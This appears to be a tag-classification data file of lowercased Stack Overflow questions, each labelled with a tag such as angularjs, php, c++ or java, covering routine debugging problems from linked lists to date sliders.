$scope.returnfilterloc = function(){return indexedloc};     }); </code></pre>   html   <pre><code> &lt;body ng-controller= mainctrl &gt; &lt;select id= category_select  ng-options= loc as loc for loc in returnfilterloc()  ng-model= locationlist &gt;     &lt;option value=  &gt;all categories&lt;/option&gt; &lt;/select&gt; &lt;nav id= entertainment_bars  class= persist-area content-list l2g-menu-list  ng-repeat= loc in locationlisttofilter() | filter:filterlocation &gt;   &lt;h3 class= persist-header &gt;{{loc.field_location_category[0]}}&lt;/h3&gt;   &lt;ul&gt;     &lt;li ng-repeat= loc in locationlist | filter:{field_location_category:loc.field_location_category[0]} &gt;     &lt;span&gt;{{loc.name}}&lt;/span&gt; &lt;/li&gt;   &lt;/ul&gt; &lt;/nav&gt; </code></pre>       please help me. thanks in advance.,angularjs
where datetimeformat.monthname[12] is used   according to msdn in .net datetimeformat.monthname should contain exactly 13 elements with 12 element should be empty string. what this empty string is used for,.net
html form not taking inputs  the form is displayed on the browser  but when i roll my cursor over the text fields  it just doesn t take the input. how is this caused and how can i solve it    <pre><code>    &lt;html&gt;         &lt;head&gt;             &lt;title&gt;chemicals.ltd&lt;/title&gt;             &lt;meta charset= utf-8 &gt;             &lt;meta name= viewport  content= width=device-width &gt;         &lt;/head&gt;     &lt;body&gt;       &lt;!--&gt; &lt;div style= position:absolute;z-index:0;left:0;top:0;width:100%;height:100% &gt;   &lt;img src= c:\users\dell\downloads\chem.jpg  style= width:100%;height:100%  alt= []  /&gt; &lt;/div&gt;&lt;!--&gt;         &lt;h2&gt; welcome to toxic traders ! &lt;/h2&gt;         &lt;p&gt;we trade chemicals   for industrial or lab use.&lt;br&gt; please enter relevant info in the form &lt;/p&gt;          &lt;form name= details  action= /chemcontrol  method= post &gt;         chemical name: &lt;input type= text  name= chemical &gt;&lt;br&gt;         hazard level(no.): &lt;input type= text  name= hazard type &gt;&lt;br&gt;         lab/company name: &lt;input type= text  name= lab name  &gt;&lt;br&gt;         serial no.: &lt;input type= text  name= serial no. &gt;&lt;br&gt;         &lt;input type= submit  value= send info &gt;         &lt;/form&gt;            &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how to display a button on page after a period of time in asp.net   i want the button to display exactly 2 minutes after the page loads. is this possible,asp.net
avoiding typing html tags  pros and cons  typing html is so boring and takes too much space and reduces code readability. what if to build such a function  and write all html with tag function. i know that just html is faster  but if to write html via tag function  how it will effect on site performance and page load time. general  is not bad to render html such a way  thanks a lot.    <pre><code>&lt; php  function tag($elem  $attr  $emb_elem = array()){    $arr = explode( |   $attr);    $attr_key = explode(      $arr[0]);    $attr_val = explode(     $arr[1]);    $html =  &lt;  . $elem;    for($i=0; $i&lt;count($attr_key); $i++){       $html .=     . $attr_key[$i] .  =  . $attr_val[$i] .    ;    }    $html .=  &gt; ;    for($i=0; $i&lt;count($emb_elem); $i++){       $html .= $emb_elem[$i];    }    $html .= &lt;/  . $elem .  &gt; ;    return $html; }  echo tag( p    class id|someclass someid   array( some data )); # output: &lt;p class= someclass  id= someid &gt;some data&lt;/p&gt; </code></pre>,php
"how can i keep a button horizontally centered with an input if they have different font sizes   i have an input box for text and directly next to it is a button.  the problem is when the button font-size and input box font-size is different  the button won t be correctly aligned.      ex - different font-sizes.  notice the bottom of the button extends past the input box much more than the top    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>input{
   font-size:20px;
 }
 
 .btn {
   padding: 8px 12px;
   font-size: 14px;
   border-radius: 2px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input&gt;
 &lt;button class= btn btn-primary m-l &gt;add&lt;/button&gt;</code></pre>
 </div>
 </div>
     ex: same font sizes: button is aligned:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>input{
   font-size:20px;
 }
 
 .btn {
   padding: 8px 12px;
   font-size: 20px;
   border-radius: 2px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input&gt;
 &lt;button class= btn btn-primary m-l &gt;add&lt;/button&gt;</code></pre>
 </div>
 </div>",css
itunes connect and apple developer portal  i have written an app for a client and i want to create ad hoc builds and submit to app store using his accounts.    does he need to create an itunes connect and a apple developer account - aren t they connected,iphone
append problems after a linked list node delete  i can append  display  modify  delete and search in my linked list nodes. deleting works well  but when i want to append after that  it seems to overwrite (or delete a node).    lets say i have:    a - b - c nodes    i delete the b node. after that it looks like: a - c. i want to append a d node to look like this: a - c - d.    but  instead it looks like this: a - d    what could be the problem here     the whole project is pretty big  but the delete look like this:    <pre><code>    for ( ; llist-&gt;next != null; llist = llist-&gt;next)    {       if(strcmp(text  llist-&gt;book)==0)       {          break;       }       prev = llist;    }      if ( llist != null )      {       if ( llist == head)       {          head = llist-&gt;next;       }       else       {          prev-&gt;next= llist-&gt;next;       }        free(llist);       printf( the %s string has been deleted!\n   text);     }    </code></pre>   the append code looks like this:   <pre><code> while(getline(text max))       {      if(!(llist = (struct lib*)malloc(sizeof(struct lib)))) { /*mem allocation*/             break;         }          if(head) {             prev-&gt;next= llist;         } else {             head= llist;         }         prev = llist;      llist -&gt; next= null;       while(!textcheck(text))     {     printf( please retype the name in the correct format:  );     getline(text  max);     }      strcpy(llist-&gt;author  text); //hozzáírunk a láncolt listához      printf( please type the title of the book:  );     getline(text  max);     strcpy(llist-&gt;book text);       printf( please type the release date:  );       getline(szoveg  max);      while(!yearcheck(text)) {     printf( please type a year between 1500 and 2016:  );     getline(text  max);      }     num = atoi(text);      llist-&gt;year = num;       printf( please type a topic: \n );     printf( topics: scifi  haboru  fantasy \neletrajz  ismeretterjeszto  thriller  akcio\n );       strcpy(llist-&gt;tema  text);     } </code></pre>,c
exception while parsing  when i build my code i unable to get the data in array!    code: <pre> - (void)parser:(nsxmlparser *)parser didstartelement:(nsstring *)elementname    namespaceuri:(nsstring *)namespaceuri qualifiedname:(nsstring *)qualifiedname      attributes:(nsdictionary *)attributedict {   <pre><code>if([elementname isequaltostring:@ catname ])      appdelegate.books = [[nsmutablearray alloc] init];  else if([elementname isequaltostring:@ subcatname ])             {         abook = [[book alloc] init];            }         } </code></pre>   - (void)parser:(nsxmlparser *)parser foundcharacters:(nsstring *)string {    <pre><code>if(!currentelementvalue)      currentelementvalue = [[nsmutablestring alloc] initwithstring:string]; else   [currentelementvalue appendstring:string]; </code></pre>   } - (void)parser:(nsxmlparser *)parser didendelement:(nsstring *)elementname    namespaceuri:(nsstring *)namespaceuri qualifiedname:(nsstring *)qname {   <pre><code>if([elementname isequaltostring:@ table ])    {     [appdelegate.books addobject:abook];       [abook release];     abook = nil; } else  { [abook setvalue:currentelementvalue forkey:elementname];   } [currentelementvalue release]; currentelementvalue = nil; </code></pre>   }    gdb:   011-03-30 16:19:16.661 xml[5671:20b] abook.catname.....(null) 2011-03-30 16:19:16.661 xml[5671:20b] processing element: iid 2011-03-30 16:19:16.661 xml[5671:20b] processing value:      5 2011-03-30 16:19:16.662 xml[5671:20b] abook.catname.....(null) 2011-03-30 16:19:16.662 xml[5671:20b] processing element: subcatname 2011-03-30 16:19:16.662 xml[5671:20b] processing value:      card5 2011-03-30 16:19:16.663 xml[5671:20b] abook.catname.....(null) 2011-03-30 16:19:16.663 xml[5671:20b] processing element: url 2011-03-30 16:19:16.663 xml[5671:20b] processing value:      http://www.orkutgroup.com/scraps/new-year-2.jpg 2011-03-30 16:19:16.664 xml[5671:20b] abook.catname.....(null) 2011-03-30 16:19:16.664 xml[5671:20b] abook..... 2011-03-30 16:19:16.665 xml[5671:20b] appdelegate.books.....(      ) 2011-03-30 16:19:16.665 xml[5671:20b] abook.catname.....(null)  </pre>   what could be the possible reason for this  help!,iphone
has_one but belongs_to only one of many choices   i have a map location object. a player  which has_one location. enemies/npc s which have_one location. how to handle the belongs_to  or do i not need it  so its always a one to one  its just a one to one with different objects.   <pre><code>class player   has_one :location end  class npc   has_one :location end  class location   belongs_to :player   belongs_to :npc end </code></pre>   that doesn t seem right but it represents sort of what i want  so that if i only had a location  i could get back to what is on that location. might be special items there in the future like  a mine.  all very different models but when you look at a place on a map  you want to know what is there.   <pre><code>class mine    has_one :location end </code></pre>,ruby-on-rails
asp.net- sending an e-mail  i am doing a flight booking system and i want to send an e-mail to the user which wiil contain the e-ticket of his travel. the e-ticket is generated dynamically with the booking id fetched from the database and the other details from the previous pages like name of the passenger and all. so how can i send him the dynamically generated e-ticket to his e-mail id,asp.net
no instance of overloaded function matches argument list.  i m working on a project for class  but keep getting the error: no instance of overloaded function matches argument list. it is referencing my string classes. what i am trying to do is create a copy  concat and count functions with out using the string class. any help would be greatly appreciated.    <pre><code>#define _crt_secure_no_warnings #include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  class string { private: char str[100];  char cpy[100]; public:  static const char nullchar =  \0 ;  string() {     str[0] = nullchar;     cpy[0] = nullchar; }  string(char* orig  char* cpy) {     copy(orig  cpy); }  void display() {     cout &lt;&lt; str &lt;&lt; endl; }  void copy(char* orig  char* dest) {      while (*orig !=  \0 ) {         *dest++ = *orig++;     }     *dest =  \0 ;    }  void copy(string&amp; orig  string&amp; dest)  {     copy(orig.str  dest.cpy); }  void concat(char* orig  char* cpy) {     while (*orig)         orig++;      while (*cpy)     {         *orig = *cpy;         cpy++;         orig++;     }     *orig =  \0 ;  }  void concat(string&amp; orig  string&amp; cpy) {     concat(orig.str  cpy.cpy); }  int length(char* orig) {     int c = 0;     while (*orig !=  \0 )     {         c++;         *orig++;     }     printf( length of string is=%d\n   c);     return(c);  } };  int main() { string s;  s.copy( hello ); s.display(); s.concat(  there ); s.display();  string s1 =  howdy ; string s2 =   there ; string s3; string s4( this string built by constructor ); s3.copy(s1); s3.display(); s3.concat(s2); s3.display(); s4.display();   system( pause ); return 0; } </code></pre>,c++
how to handle a python task  i am pretty new in python and i want to do a couple of tasks.     can anyone help me how to do that     i actually have to print the numbers from 10 to 0. i can to that by this loop.    <pre><code>a =    .join(str(i) for i in range(10  0  -1)) print (a) </code></pre>   but i need to use  a function like the following. when i excute it in netbeans i got no result.   <pre><code>def from10to1( ) : a=range(10  0  -1) print(a) </code></pre>,python
iphone  if possible to get a photo from album without use uiimagepickercontroller   as topic  i want iphone app can access the photo album and got a photo but without popup the uiimagepickercontroller  does it possible       thanks for tip,iphone
can i run a rails application without installing the rails environment on my mac  i have to make few ui changes for a rails application. just to check those changes in browser do i have to setup whole rails env. is there any other way to get that.    i have rails env set on developers computers on same network.,ruby-on-rails
is nslog meant as a general purpose write   in objective-c when i create a new project i get this in the main:   <pre><code>nslog(@ hello  world! ); </code></pre>   i cannot find any other easy writing methods in the foundation library.<br> is <code>nslog</code> the <code>printf</code> of objective-c  is it recommended to use it in production for printing on screen (of command line tools) <br> if not  how can i print to screen using the foundation library       edit:<br> it looks like <code>nslog</code> also adds timestamp and things  i thought thats only the xcode console.<br> how can i print objective c objects using a format like <code>nslog</code> without timestamps,objective-c
simplifying and rewriting my code  i will be as specific as possible.. i have this code:   <pre><code>// bintodec.cpp : defines the entry point for the console application.  #include  stdafx.h  #include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  int main(){     string inp;     int dec = 0;     char base;     cout &lt;&lt;  input a number:  ;     cin &gt;&gt; inp;     cout &lt;&lt;  input the base your number is in:  ;     cin &gt;&gt; base;     for (int i = inp.length()-1  j = 0; i &gt;= 0; i--  ++j)         dec += (inp[i]-48) * pow((float)base-48  j);     cout &lt;&lt;  your number in base 10 is:   &lt;&lt; dec &lt;&lt;endl;     system( pause );     return 0; } </code></pre>   i m trying to rewrite/simplify it..to:   <pre><code>{     int j=0 x;     double dec y;     for(int i = inp.length()-1; i &gt;= 0; i--)      {     x=(inp[i]-48);     y=pow((float)base-48  j);     dec=dec + x * y;     ++j;     } } </code></pre>   i have:   <pre><code>int j=0 x;     double dec  y;         char base  inp;          cout &lt;&lt;  input a number:  ;     cin &gt;&gt; inp;     cout &lt;&lt;  input the base your number is in:  ;     cin &gt;&gt; base;           {             for (int i = inp.length()-1; i&gt;=0; --i)             x=(inp[i]-48);             y=pow((float)base-48  j);             dec=dec + (x*y)                 ++j;             {              return 0; </code></pre>   for some reason its not working..visual studio is reporting that:   <ol> <li>left of  .length  must have class/struct/union type is  char </li> <li>subscript requires array or pointer type</li> <li> ++  needs l-value</li> <li>syntax error : missing  ;  before identifier  j </li> </ol>   i want to rewrite and simplify it..help with errors please..thanks!,c++
replace certain parameter or entire url  i need to replace the window url with a new one based on a checkbox input. i m trying to do this like so:   <pre><code>    // get checkbox value     var selection = $( input[type= checkbox ]:checked ).val()     // get current url     var url = window.location.href;     // prefix current url with checkbox      url +=  &amp;site=  + selection +  &amp;page=1 ;     // debug line     // console.log(url);     // navigate to new url     location.replace(url); </code></pre>   i have a series of parameters at the end of my url that looks like:    <code>mywebsite.com&amp;site=main&amp;page=1</code>    i either need to replace the entire url  or <em>just the parameters</em> below:    <strong>&amp;site=main&amp;page=1</strong>    the key is in the last line. i ve tried a few things this is the output:    both <code>location.assign(url);</code> and <code>location.replace(url);</code> gives: <code>mywebsite.com&amp;site=main&amp;page=1&amp;site=main&amp;page=1</code>    <code>window.location.href()</code> seems to have the same behavior  it does not replace the entire url.    what i don t understand is for <code>location.replace()</code> - sanity checking the behavior on <a href= https://developer.mozilla.org/en-us/docs/web/api/location/replace  rel= nofollow noreferrer >reading mdn</a>  it quotes:   <blockquote>    the location.replace() method replaces the current resource with the   one at the provided url.  </blockquote>   ok  lets do it. then this happens:    <code>http://mywebsite.com&amp;site=main&amp;page=1&amp;site=main&amp;page=1</code>    beating to the punch - in the console log - it returns the correct url parameters. so output in my console looks like:    <code>http://mywebsite.com&amp;site=main&amp;page=1</code>    why is it not replacing the entire url with the new one  how do you just replace the entire url with a new one  or somehow just target the parameters  regex,javascript
mysql function is not working properly  my database name is  <code>dfeb</code>   and i have a table named  <code>invdt</code> and  columns named <code>batch_number</code> <code>id</code> .i want to get the <code>batch_number</code> where id=59  using a function.but an error is showing up<code>function does not exist</code>.   <pre><code> delimiter $$ create function `dfeb`.`get_quantity`(pid) returns varchar begin declare name_found varchar default   ; select `batch_number` into name_found from `invdt` where id = pid; return name_found end$$   delimiter ;  select `get_quantity`(59) from `invdt`  </code></pre>,mysql
how can i sort list into 2 or more columns  i m trying to achieve the same result that this question asks:    <a href= https://stackoverflow.com/questions/8092830/i-want-to-show-list-items-as-2-or-more-columns-dynamic-alignment >i want to show list items as 2 or more columns (dynamic alignment)</a>    except that  instead of requiring script or css hacks  i d like to reorder the data to begin with so that i can use  float: left;     so instead of the list coming back like 1 2 3 4 5 6 7 8 9 10    for two columns it would come back 1 6 2 7 3 8 4 9 5 10    possible,c#
recording a phone call in android  i have seen apps in the android marketplace with regards to an app recording an ongoing phone conversation. i am interested in how this is done. anyone knows how the call is being recorded     is there a way to maybe get an audio stream for a call in android     cheers!,android
nsuserdefaults uses plist or other storage  i am trying to work on nsuserdefaults but few things are confusing me in apple reference and setting guide they says   <blockquote>    preferences are pieces of information that you store persistently and   use to configure your app. apps often expose preferences to users so   that they can customize the appearance and behavior of the app. most   preferences are stored locally using the <strong>cocoa preferences   system—known as the user defaults system</strong>. apps can also store   preferences in a user’s icloud account using the key-value store.        the user defaults system and key-value store are both designed <strong>for   storing simple data types—strings  numbers  dates  boolean values    urls  data objects  and so forth—in a property list</strong>. the <strong>use of a   property list also means you can organize your preference data using   array and dictionary types</strong>. it is also possible to <strong>store other objects   in a property list by encoding them into an nsdata object first</strong>.  </blockquote>   but what is users defaults system and further on in this guide they say users defaults database... if they are talking about database then why here they wrote use of plist     <a href= https://stackoverflow.com/questions/3178115/iphones-nsuserdefaults-is-a-database-or-plist >similar question but not helping me</a>    thanks in advance.,ios
sql limit  ordering and joins in nested queries  i have this query:   <pre><code>select vendor  code  tabof.ofid datei datef varr varrt desext from (         select a_ind a_cod a_des a_fx a_ml                 ofid datei datef varr varrt flagd vendor         from antab         join tabof             on (antab.a_cod = tabof.vendor)              where                 a_fx &lt;&gt;    and a_ml &lt;&gt;    and                  a_des &lt;&gt;    and a_cod &lt;&gt;    and                 a_ind &lt;&gt;    and                 a_fx &lt; (47.7 + 0.5) and                 a_fx &gt; (47.7 - 0.5) and                 a_ml &lt; (15.5 + 0.5) and                 a_ml &gt; (15.5 - 0.5)              order by                 sqrt(power((a_fx - 47.7) 2) +                      power((a_ml - 15.5) 2))             limit 1      ) join of_mntab     on (of_mntab.ofid = oftab.ofid)     where          datei &lt;= getdate() and         datef &gt;= getdate() and         oftab.flagd = 0 and         code not in ( manu   tran ) and         vendor = a_cod     order by datei desc </code></pre>   but it keeps giving me errors when i try to execute it: syntax error near  limit  and if i delete the limit option it gives me syntax error near join in the next line.. i am an sql noob and this is a complicated query for me.. what am i doing wrong,sql
is there a maximum number of lines readable by php functions  i have this file of 10 millions words  one word on every line. i m trying to open that file  read every line  put it in an array and count the number of occurrences for each word.   <pre><code>wartek mei_atnz sommerray swaggyfeed yo_bada ronnieradke … and so on (10m+ lines) </code></pre>   i can open the file  read its size  even parse it line by line and <code>echo</code> the line on the browser  (it s very long  of course)  <strong>but</strong> when i m trying to perform any other operation  the script just refuse to execute. no error  no warning  no <code>die(…)</code>  nothing.    accessing the file is always ok  but it s the operations which are not performed with the same success. i tried this and it worked…   <pre><code>while(!feof($pointer)) {     $row = fgets($pointer);     print_r($row); } </code></pre>   … but this didn t :   <pre><code>while(!feof($pointer)) {     $row = fgets($pointer);     array_push($dest  $row); } </code></pre>   also tried with <code>splfileobject</code> or <code>file($source  file_ignore_new_lines)</code> with the same result every time (not okay with big file  okay with small file)    guessing that the issue is not the size (150 ko)  but probably the length (10m+ lines)  i chunked the file to reduce it to ~20k without any improvement  then reduced it again to ~8k lines  and it worked.    i also removed the time limit with <code>set_time_limit(0);</code> or removed (almost) any memory limit both in the <strong>php.ini</strong> and in my script <code>ini_set( memory_limit    8192m );</code>.regarding the errors i could have  i set the <code>error_reporting(e_all);</code> at the top of my script.    so the questions are :   <ul> <li>is there a maximum number of lines that can be read by php built-in functions </li> <li>why i can <code>echo</code> or <code>print_r</code> but not perform any other operations </li> </ul>,php
why is my code giving false output   i am trying to write a program that mimics the actions of a vending machine for my cs class. i have a double array stock that represents the the number of items at a particular  slot  [my vending machine is weird and is kinda like one long vending machine with 1 column of different items]. here is my code so far:   <pre><code> public class vendingmachine {     // define fields here     public static double itemprice[];     public static string[] itemname;      public static int stock[][];     public static  int maxperslot;     public static double cashammount;      public vendingmachine(int numslots  int maxperslot  double cash)     {            final  int numslots = numslots;         maxperslot = maxperslot;         cashammount = cash;         stock = new int[numslots][1];          itemprice = new double[numslots];         itemname = new string[numslots];          // complete this method     }      public void setproduct(int slot  string product  double price)     {   int slot = slot;         itemprice[slot] = price;          itemname[slot] = product;         stock[slot][0] = 0;           //     }      public void restockproduct(string product  int quantity)     {            string product = product;         int quantity = quantity;          for(int i = 0; i &lt; itemname.length;i++){             if (quantity &gt; (maxperslot-stock[i][0])){             return;             }             if (product.equals(itemname[i])&amp;&amp;quantity &lt; maxperslot){                     stock[i][0] += quantity;               }else if ((maxperslot-stock[i][0])==0){                  continue;              }         }          //put # of products in slot that holds it and if that slot is full put the rest in the next          //available slot that holds that product  if all full return error.     }      public double getcashonhand()     {         return cashammount; // replace this line with your code     }      public int getquantity(int slot)     {         return stock[slot][0]; // replace this line with your code     }      public int getquantity(string product)     {   int total = 0;          for (int i = 0; i&lt;itemname.length;i++){             if (product == itemname[i]){                 total += this.getquantity(i);             }         }         return total;     }      public boolean buyitem(int slot)     {   int snum = slot;         double price = 0;         if (stock[snum][0] != 0){             stock[snum][0]--;         price= itemprice[snum];         cashammount += price;         return true;         } else {         return false;}         // replace this line with your code     } } </code></pre>   and the main method that runs it:    <pre><code>public class vmd {     public static void main(string[] args)     {         boolean success;          // vending machine w/ 20 slots  10 items maximum per slot  $5 cash on hand         vendingmachine v = new vendingmachine(20  10  5.00);         v.setproduct(0   cheesy poofs   0.75);         v.setproduct(1   red bull   1.25);         v.setproduct(2   cheesy poofs   0.75);         v.restockproduct( cheesy poofs   8);         v.restockproduct( red bull   7);         v.restockproduct( cheesy poofs   5); // 2 more go into slot 0  remaining 3 into slot 2          success = v.buyitem(0);         system.out.println(success); // should print  true           system.out.println(v.getcashonhand()); // should print  5.75           system.out.println(v.getquantity(2));// should print  9              system.out.println(v.getquantity( cheesy poofs )); // should print  12      } } </code></pre>   when i run this thought i consistently get:   <pre><code>true 5.75 8 15  </code></pre>   as my out put when i am suppose to get:   <pre><code>true 5.75 9 12 </code></pre>   as my output. why is this  i am assuming it has something to do with the restockproduct() method but i can t seem to narrow it down and its really getting on my nerves. according to my cs teacher the restockproduct() method is suppose to add the given quantity of the specified product to the vending machine and put as many of the items as possible into the first slot that has been designated to hold that particular kind of product (using setproduct()).     if not all of the items will fit into the first slot  put as many of the rest as possible into the second slot that holds that kind of product  etc. for partial credit  your method should at least be able to find the first slot designated for the specified product and put all of the items there .,java
is there a standard simple message/error reporting mechanism   the other day  a co-worker created a simple interface to report errors/messages   <pre><code> public interface ierrorreporter  {   void reporterror(string title  string message  string detail);  } </code></pre>   the goal is to keep lower-level  business logic  code free of ui such as <code>messagebox.show()</code>.    my reaction is there <em>has</em> to be something already  out there  to help with this  but i can t really find anything.  note that i m not looking for a fancy error reporting  exception-handling mechanism; just something  out of the box  to avoid/reduce creating/implementing my own interface.    a custom trace listener looks like one alternative  but <code>system.diagnostics.trace</code> just doesn t feel like the right alternative to <code>messagebox.show()</code>.  using a third-party solution such as <strong>log4net</strong> seems like overkill for four lines.,.net
dynamic data for ng-model in angularjs  html       <pre><code>&lt;div ng-controller= main &gt;   &lt;input type= text  ng-model= rootfolders &gt; &lt;/div&gt; </code></pre>   js       <pre><code>function main($scope) {   $scope.rootfolders =  5 ; } </code></pre>   how do i dynamically add data in place of  5   i.e the rootfolders. for example adding a count data or a variable.,angularjs
mixed float and long calculation yields wrong answer with no compiler warning  is it surprising that the following code outputs a wrong value for starttime    <pre><code>public class temp {     public static void main(string args[]){        float duration = (float) 2.0;        long endtime = 1353728995;        long starttime = 0;        starttime = (long) (endtime - duration);        system.out.println(starttime); } } </code></pre>,java
pass image id into form and submit with jquery  i have a few images on a page. each image has an id value assigned. i need to get image id  pass it into a form and submit that form when the image is clicked.   <pre><code>&lt;img src= img1.gif  id= var1 &gt; &lt;img src= img2.gif  id= var2 &gt;  &lt;form method= post  id= myform  action= thispage.php &gt; &lt;input type= hidden  name= myid &gt; &lt;/form&gt; </code></pre>   how do i pass the value from image into form     now  i do know i can use ajax with jquery  but in this case i actually need to submit to this page and reload it after submitting.,jquery
edit again the content of edittext without deleting it  on the same activity  i have a programmatically view with an edittext as a main feature. i need to be able to edit back the contents on it  but whenever i click the edittext everything gets deleted. how can i avoid everything being deleted on the edittext when the user back to edit it (the user enters some other view in the <strong>same activity</strong>  and then go back to edit the contents on the edit text)    for others functionalities i have textwatcher implemented.     where should i look to change this behaviour (look the image please)  i though that on the text watcher could change this  but i m out ideas.          <pre><code>class cooledittext{         textfield = new edittext(c);         textfield.settextsize(typedvalue.complex_unit_sp  16);         textfield.settextsize(typedvalue.complex_unit_sp  16);         textfield.setlongclickable(false);         textfield.settextisselectable(false);     //more init here...      textfield.addtextchangedlistener(new textwatcher() {          @override         public void beforetextchanged(charsequence charsequence  int i  int i1  int i2) {             //some code needed         }          @override         public void ontextchanged(charsequence charsequence  int i  int i1  int i2) {             //some code needed         }          @override         public void aftertextchanged(editable editable) {             //some code needed         }//.... </code></pre>   <a href= https://i.stack.imgur.com/f7z6j.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/f7z6j.png  alt= needed and current behaviour ></a>    already solved:    already solved this. the default or common behavior of android s edittext is allow edit it s contents. on my problem i have an instance of cooledittext somewhere else in the code where onfocuschange was implemented and assigned to that instance. so inside the onfocuschage the mtext value was being reset to empty string.   <pre><code>class anotherclass{  cooledittext te = new cooledittext();//...  te.setonfocuschangelistener(new onfocuschangelistener(){                         @override                         public void onfocuschange(view view  boolean hasfocus) {                             if(!te.equals(  )){                                 te.settext(  ); //i just delete this                             }                         }                     }); </code></pre>   so  briefing  edittext allows by default edit the contents inside  to change this behavior you should assign an <code>onfocuschangelistener</code> and overwrite <code>onfocuschange</code> where you can change this behavior.,android
jquery .post or .ajax  i need to send a request to a remote server using only jquery (no server side code allowed) and alert the remote server s response. everything i m reading upon googling is telling me it can t be done. anyone have any suggestions,jquery
c++ - constructor for nested non-pointer class  there is non-pointer (body) nested class in outer class.i need to call its constructor from outer class constructor after some calculations.how to do    <pre><code>class nested {   int value;   nested(int x) {value=x;};   nested() {value=0;}; }; class outer: {   nested n;   nested *pn;    outer(int x); }; outer::outer(int x1) {   x = x1;   y = x + 1 *x*x;//some long calculations needed for nested   pn = new nested(y); //this is trivial   n = nested(y); //    how to initialize non-pointer class      } </code></pre>,c++
why am i not getting the correct distance between two corelocation s   i am trying to calculate distance between two corelocation objects like this:   <pre><code>float meters = [destinationlocation distancefromlocation:currentlocationnew]; distancebtwtwolocations = [nsstring stringwithformat:@ %f miles  meters]; </code></pre>   but it is not giving me the exact distance. why   i just checked the values in console    currentlocationnew &lt;+17.42369091  +78.43235230> +/- 0.00m (speed -1.00 mps / course -1.00) @ 10/06/11 12:43:59 pm india standard time    destinationlocation &lt;+16.29850960  +80.43364716> +/- 0.00m (speed -1.00 mps / course -1.00) @ 10/06/11 12:44:07 pm india standard time    distancebtwtwolocations 247043 miles    am i missing anything,iphone
phone number validation in c  i m attempting to create a program that validates a phone number entered by a user and stores it in a string. the user entering the phone number will be able to enter it as one of the following formats:    (xxx)xxx-xxxx    xxxxxxxxxx    xxx-xxx-xxxx    i can think of several but very tedious ways to validate the phone number ensuring that it follows the specific format. what could be the simplest option,c
android system write manager  i m am attempting to create a system app. i have some older code that was given to me to modify  and the old code has an object called <code>systemwritemanager</code> that is imported from <code>android.app.systemwritemanager</code>.    the code to initialize the object is this:   <pre><code>systemwritemanager sw = (systemwritemanager) mcontext.getsystemservice( system_write ); </code></pre>   however  when i attempt to use this code  the import is not found. what do i need to do to import and access this class,android
replace rest of str to 0 on str  i don t know what question should be     i have int that need to split like this   <pre><code>$value = 123454 </code></pre>   i wan t result like this   <pre><code>100000 20000 3000 400 50 4 </code></pre>   currently i do like this   <pre><code>public function displaysong($value){      $strvalue = strval($value);     $len = strlen($strvalue);      for ($x = 0; $x &lt;= $len; $x++) {         $str = substr($strvalue  $x);         echo  the number is: $str \n ;     }        echo $len. \n ;     echo $strvalue[1]. \n ; } </code></pre>   how to make it work  or any have better solution,php
what is nsheartbeatthread   i was recently debugging my application in instruments and one of the threads was  nsheartbeat  (or something very similar).  none of my methods have the word  heart  or  beat  in them  so i m assuming it s a system function.  what does it do,objective-c
angularjs: setting initial date slider positions  i m trying to set the initial start/end date positions for an angularjs date slider.  here s where i m at.  as you ll see the <code>end</code> position initialises as <code>2018-11-01</code> (see <code>vm.slider.max</code>) when i want it to be <code>2018-11-30</code>. any suggestions appreciated.    <a href= https://jsfiddle.net/geotheory/uxxsq80k/  rel= nofollow noreferrer >https://jsfiddle.net/geotheory/uxxsq80k/</a>   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;angular slider test&lt;/title&gt;     &lt;meta charset= utf-8 &gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js &gt;&lt;/script&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js &gt;&lt;/script&gt;     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/angularjs-slider/6.4.3/rzslider.min.js &gt;&lt;/script&gt;     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/angularjs-slider/6.4.3/rzslider.min.css &gt; &lt;/head&gt; &lt;body&gt;  &lt;div ng-app= myapp &gt;   &lt;div ng-controller= testcontroller as vm &gt;     &lt;p&gt;&lt;b&gt;last updated:&lt;/b&gt; {{vm.lastsliderupdated}}&lt;/p&gt;     &lt;rzslider rz-slider-model= vm.slider.min  rz-slider-high= vm.slider.max          rz-slider-options= vm.slider.options &gt;&lt;/rzslider&gt;   &lt;/div&gt; &lt;/div&gt;      &lt;script&gt;  var vm;  function getalldays(start_date  end_date) {   var start_date = new date(start_date);   var end_date = new date(end_date);   range = []   mil = 86400000;   for (var i = start_date.gettime(); i &lt; end_date.gettime(); i+=mil) {     range.push(new date(i).tolocaledatestring())   }   return range; }  var myapp = angular.module( myapp   [ rzmodule ]);  myapp.controller( testcontroller   testcontroller);  function testcontroller() {   vm = this;     vm.showdates = getalldays( 2018-11-01    2018-11-30 );   vm.lastsliderupdated =   ;    vm.myendlistener = function(sliderid) {   console.log( start:    vm.slider.min     end:    vm.slider.max);   };    vm.slider = { min: new date( 2018-11-01 )  max: new date( 2018-11-30 )          options: { stepsarray: vm.showdates  id:  slidera   onend: vm.myendlistener}     }; }      &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
